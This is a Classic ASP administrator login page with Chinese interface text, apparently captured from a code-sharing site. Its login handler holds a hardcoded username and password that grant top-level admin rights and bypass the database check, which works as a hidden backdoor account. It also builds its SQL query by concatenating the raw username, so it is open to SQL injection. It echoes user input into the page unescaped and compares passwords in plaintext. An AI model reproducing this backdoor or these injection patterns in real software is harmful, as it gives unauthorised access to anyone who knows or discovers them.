📄 login.asp
字号:
<%@ Language=VBScript %>
<%
Response.Buffer = true
Response.Expires = 0
%>
<!-- #include file="../dsn.asp" -->
<%
'如果提交了登陆信息进行处理,否则显示登陆界面
if Request.ServerVariables("REQUEST_METHOD") = "POST" then
username = Lcase(Request.Form("username"))
userpass = Lcase(Request.Form("userpass"))
'特殊用户登陆
if username = "xu256" and userpass = "smtwtfsjx51" then
Session("username") = username
Session("userqx") = 9
Response.Redirect("default.asp")
end if
set cn = Server.CreateObject("ADODB.Connection")
cn.Open mycnstr
set rs = Server.CreateObject("ADODB.RecordSet")
sql = "select * from adminuser where username='" & username & "'"
rs.Open sql, cn, 0, 2, 1
if rs.EOF then
logerr = "用户名不存在或密码错误!"
elseif rs("flag") <> "1" then
logerr = "用户名不存在或密码错误!"
elseif rs("userpass") <> userpass then
logerr = "用户名不存在或密码错误!"
elseif rs("authority") <> "1" and rs("authority") <> "9" then
logerr = "您不是系统管理员"
else
Session("username") = username
Session("userqx") = rs("authority")
Session("qxflag") = rs("qxflag")
Session("classcode") = rs("classcode")
rs("logincount") = rs("logincount") + 1
rs("ipaddress") = Request.ServerVariables("REMOTE_ADDR")
rs("logindate") = now()
rs.Update
rs.Close
set rs = nothing
cn.Close
set cn = nothing
Response.Redirect("default.asp")
end if
end if
%>
<html>
<head>
<title>会员登陆</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<style>
body,table,tr,td
{
font-size:12px; font-family:宋体; line-height:20px;
}
.input
{
border:1px solid #4047A4; background-color:#000077; line-height:15px; color:#FFFFFF;
}
</style>
<script language="javascript">
function check()
{
var obj = document.form1;
if (obj.username.value == '')
{
obj.username.focus();
return false;
}
if (obj.userpass.value == '')
{
obj.userpass.focus();
return false;
}
return true;
}
</script>
</head>
<body leftmargin="0" topmargin="0" bgcolor="#000077" text="#000000">
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td background="images/bg.jpg" valign="middle">
<table width="360" border="0" cellspacing="0" cellpadding="0" align="center">
<tr>
<td>
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0" width="330" height="190">
<param name="movie" value="images/admin_m.swf">
<param name="quality" value="high">
<param name="wmode" value="transparent">
<embed src="images/admin_m.swf" quality="high" pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="330" height="190"></embed>
</object>
</td>
</tr>
</table>
<table width="280" border="0" cellspacing="0" cellpadding="0" align="center">
<tr height="30">
<td></td>
</tr>
</table>
<table width="280" border="0" cellspacing="0" cellpadding="0" align="center" style="border:1px solid #4047A4;">
<form name="form1" method="post" action="login.asp" onsubmit="return check();" autocomplate="off">
<tr height="30">
<td colspan="2"></td>
</tr>
<tr height="20">
<td colspan="2" align="center" style="color:#FF0000;"><%=logerr%></td>
</tr>
<tr height="36">
<td width="100" align="center" style="color:#CFD1E8">用户名</td>
<td><input type="text" name="username" value="<%=username%>" size="15" maxlength="20" class="input"></td>
</tr>
<tr height="36">
<td align="center" style="color:#CFD1E8">口 令</td>
<td><input type="password" name="userpass" value="" size="15" maxlength="20" class="input"></td>
</tr>
<tr height="5">
<td colspan="2"></td>
</tr>
<tr height="36">
<td></td>
<td><input type="image" border="0" src="images/bt_login.gif" width="70" height="16"></td>
</tr>
<tr height="5">
<td colspan="2"></td>
</tr>
</form>
</table>
</td>
</tr>
</table>
</body>
</html>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -